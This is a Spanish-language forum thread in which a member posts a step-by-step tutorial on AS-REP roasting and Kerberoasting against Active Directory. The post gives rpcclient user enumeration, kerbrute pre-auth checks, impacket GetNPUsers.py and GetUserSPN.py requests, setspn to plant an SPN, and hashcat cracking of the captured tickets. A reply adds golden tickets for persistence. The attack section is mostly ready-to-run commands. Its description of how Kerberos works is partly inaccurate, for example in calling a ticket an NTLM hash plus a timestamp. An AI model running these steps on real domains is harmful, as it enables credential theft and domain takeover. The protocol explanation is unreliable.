Kerberos Attacks


mathuerso

Miembro muy activo
Noder
Kerbero

Puerto 88
Solo lo tienen los directorios activos, pero pueden ser principales o secundarios.
Cuando un usuario quiere hacer algo en el directorio activo, este le ofrece su hash NTLM al Servidor, este lo
comprueba en el KDC (Key Distribution Center) y comprueba si tiene acceso.
Si tiene acceso, crea un nuevo hash sumando el hash NTLM del cliente + timestamp

Ticket = hash NTLM + timestamp

Estos tickets pueden ser:

Ticket Granting Ticket (TGT)
Ticket Granting Services (TGS)


El primer ticket generado siempre va a ser el TGT ya sea por ejemplo por el inicio de sesión del usuario en el dominio.

SPN = Service Principal Name (Ej: sqlserver/sqluser)

Existen 2 ataques:

TGT → Ataque Asreproast
TGS → Ataque Kerberoasting Attack


ASREPROAST (TGT)

Conectamos al RPC con rpcclient:

rpcclient -U "nombre.dominio\Usuario%Password" IP


Al conectarnos, escribimos enumdomusers y nos guardamos en un users.txt solo los nombres de los usuarios que nos
aparecen. (Esto en caso de que tenga rpc puerto 135 y habilitado la enumeracion de comandos)
Ejecutamos la herramieta kerbrute para que nos diga si alguno de los usuarios listados no necesitan la autentificacion
previa de kerberos:

kerbrute -domain nombre.dominio -dc-IP IP -users users.txt


Si alguno de estos no necesita la autentificacion previa de kerberos, a lado de su usuario aparecerá [NOT PREAUTH]
Y para generar el TGT usaremos la herramienta GetNPUser.py:

python3 "Ruta donde esté GetNPUser.py" -dc-ip nom.dom nom.dom/Usuario[NOT PREAUTH] -no-pass


EJ: python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -dc-ip fusion.corp fusion.corp/lparker -no-pass

Al tener el hash TGT lo guardamos en un archivo hash.txt y para crackearlo ejecutamos:

hashcat -m 18200 --force(o al final) -a 0 hash.txt diccionario.txt(el diccionario puede ser /usr/share/wordlists/rockyou.txt)



KERBEROASTING ATTACK


Vamos a usar la herramienta GetUserSPN.py

python3 "ruta donde esté GetUserSPN.py" nom.dom/user:password


Nos saldrá el error → No entries found!
Porque no está creado el SPN de ese usuario, para ello deberemos crearlo en el cmd del dominio, deberemos de
alguna forma ejecutar este comando en el cmd.exe del dominio:

setspn -a nom.dom/user.DC-Company nom.dom\user


Y ahora si ejecutamons nuevamente:​

python3 "ruta donde esté GetUserSPN.py" nom.dom/user:password


Nos indicará que si existe un SPN para ese usuario, ya que lo hemos creado nosotros anteriormente.
Ahora para obtener el TGS usaremos el script GetUserSPN.py, ejecutaremos el mismo comando pero al final con -request

python3 "ruta donde esté GetUserSPN.py" nom.dom/user:password -request


Y ese hash lo crackearemos con hashcat y -m el modo tgs para obtenerlo en texto plano.​
 

wannacry

anarchy
Burgués de Nodo
Noderador
Nodero
Noder
Buen post, me extraña que no menciones el Golden Ticket pero muy buen post para los que quieran darle a AD.
 

mathuerso

Miembro muy activo
Noder
Buen post, me extraña que no menciones el Golden Ticket pero muy buen post para los que quieran darle a AD.
Hombre luego una vez accedido al sistema, si quieres persitencia tendríamos golden ticket para conectarnos siemopre cuando queramos. Tendríamos capacidad generativa de tgt cuando y cuantos queramos.